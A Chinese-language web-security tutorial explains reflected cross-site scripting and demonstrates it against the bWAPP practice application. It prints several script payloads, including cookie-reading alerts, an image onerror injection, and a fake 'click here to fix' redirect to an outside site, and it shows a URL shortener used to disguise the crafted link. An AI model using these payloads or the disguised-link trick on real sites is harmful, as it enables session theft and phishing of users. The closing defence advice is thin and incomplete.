xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)

XSS(跨站脚本攻击)定义

浏览器将用户输入的内容,当做脚本执行,执行了恶意的功能,这种针对用户浏览器的攻击即跨站脚本攻击。

类型

主要分为三种类型:

  • 反射型
  • 存储型
  • DOM 型
XSS 危害
  • 盗取 Cookie
  • 盗取账户
  • 恶意软件下载
  • 键盘记录
  • 广告引流等等 JavaScript 能够写出的任意恶意功能
反射型 XSS

应用程序或 API 包括未经验证或未经转义的用户输入, 直接作为HTML 输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的 HTML 和 JavaScript 。

特点:非持久化,必须用户点击带有特定参数的链接才能引起。

影响范围:仅执行脚本的用户。

示例

SkyMacBookPro:~ demon$ docker run -d -p 0.0.0.0:8901:80 raesene/bwapp

<script>alert("hello world")</script>

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(1)

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(2)

<script>alert("点击此处修复");location.href="http://ceshis.com"</script>

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(3)

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(4)

<script>alert(document.cookie)</script>

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(5)

长网址缩短 (https://www.ft12.com)

http://192.168.43.120:8901/xss_get.php?firstname=&lastname=1&form=submit

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(6)

http://33h.co/wr3wj

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(7)

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(8)

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(9)

/><img src=111.png onerror=alert(document.cookie)>

xss漏洞概述(WEB安全-反射型跨站脚本攻击XSS原理和防御)(10)

防御措施

反射型 XSS 的限制与防御,危害范围相对较小,多为一次点击触发一次,对陌生的链接,不要随意点开。

练习

对于 bWAPP 的不同类型反射型 XSS 漏洞练习。

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页